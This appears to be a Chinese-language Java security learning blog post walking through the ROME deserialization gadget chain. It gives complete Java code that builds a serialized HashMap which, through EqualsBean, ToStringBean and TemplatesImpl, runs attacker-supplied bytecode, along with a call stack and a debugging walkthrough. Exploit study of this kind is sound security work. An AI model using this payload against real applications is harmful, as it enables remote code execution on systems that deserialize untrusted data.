ROME 是用于 RSS 和 Atom 订阅的 Java 框架。 并根据 Apache 2.0 许可证开源。
ROME 包括一组用于各种形式的联合供稿的解析器和生成器,以及用于从一种格式转换为另一种格式的转换器。 解析器可以为您提供特定于您要使用的格式的 Java 对象,或者为您提供通用的规范化 SyndFeed
类,该类使您可以处理数据而不必担心传入或传出的提要类型。
可以利用的类:ToStringBean
,EqualsBean
,ObjectBean
。
pom.xml
<dependency> <groupId>rome</groupId> <artifactId>rome</artifactId> <version>1.0</version> </dependency>
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ToStringBean; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; public class Test { public static void setFieldValue(Object object, String fieldName, Object value) throws Exception { Class clazz = object.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ROME.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } public static void main(String[] args) throws Exception { //TemplatesImpl类 byte[] code = Files.readAllBytes(Paths.get("E:\\JAVA\\ROME\\target\\classes\\Exp.class")); TemplatesImpl templates = new TemplatesImpl(); TemplatesImpl templates1 = new TemplatesImpl(); setFieldValue(templates, "_name", "aaa"); setFieldValue(templates, "_bytecodes", new byte[][] {code}); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); //ToStringBean类 ToStringBean toStringBean = new ToStringBean(templates.getClass(),templates1); //EqualsBean类 EqualsBean equalsBean = new EqualsBean(toStringBean.getClass(), toStringBean); //HashMap类 HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(equalsBean, "aaa"); setFieldValue(toStringBean,"_beanClass",Templates.class); setFieldValue(toStringBean, "_obj", templates); serialize(hashMap); unserialize("ROME.bin"); } }
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) toString:137, ToStringBean (com.sun.syndication.feed.impl) toString:116, ToStringBean (com.sun.syndication.feed.impl) beanHashCode:193, EqualsBean (com.sun.syndication.feed.impl) hashCode:176, EqualsBean (com.sun.syndication.feed.impl) hash:338, HashMap (java.util) readObject:1397, HashMap (java.util) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) invokeReadObject:1058, ObjectStreamClass (java.io) readSerialData:1900, ObjectInputStream (java.io) readOrdinaryObject:1801, ObjectInputStream (java.io) readObject0:1351, ObjectInputStream (java.io) readObject:371, ObjectInputStream (java.io) unserialize:31, Test2 main:52, Test2
在反序列化的入口打个断点。
跟进到了HashMap
下的readObject
,我们知道HashMap
会调用任意我们传入对象(把对象赋值给key
)的hashcode
方法。
所以可以跟进到EqualsBean
的HashCode
方法,而且方法体内部又会调用beanHashcode
方法。
跟进beanHashcode
方法,其内部会调用_obj
对象的toString
方法。
而我们是给_obj
赋值的是toStringBean
,所以会进入到ToStringBean
类下的toString
方法,而且是先触发public
,然后触发private
这里就到了最关键的一步,这里的代码逻辑是,可以获取_beanClass
对象的所有的getter
和setter
方法,并且在满足if
的代码逻辑之后,这里的 pReadMethod.invoke()
就类似于在反射中看的 method.invoke()
一样,所以可以执行templates
对象的getOutputProperties
方法。
最后调用到TemplatesImpl
类下的getOutputProperties
,实现恶意代码的触发。
setFieldValue(toStringBean,"_beanClass",templates.getClass());
setFieldValue(toStringBean, "_obj", templates);
为避免在hashmap.put
的时候触发调用链,我们要先传入正常数据,然后再反射修改,但是在反射修改的时候有可能师傅们会遇到我这样的一个问题。就是在执行了这个方法之后,不再执行我们想执行的getOutputProperties
方法了。
我也没弄清楚为什么为会这样(希望师傅们指导),但是还是找到了一个解决问题的方法。把上面的反射代码改为下面这个就可以了。
setFieldValue(toStringBean,"_beanClass",Template.class); setFieldValue(toStringBean, "_obj", templates);
到时候它只会遍历Templates接口类,其下只有一个getter方法,而且正好是getOutputProperties
方法。
感觉在学完CC链之后看这些还是挺容易的,就是在手写EXP的时候还是会遇到各种各样的异常。是一名刚入门java安全的小白,感谢师傅们的指导。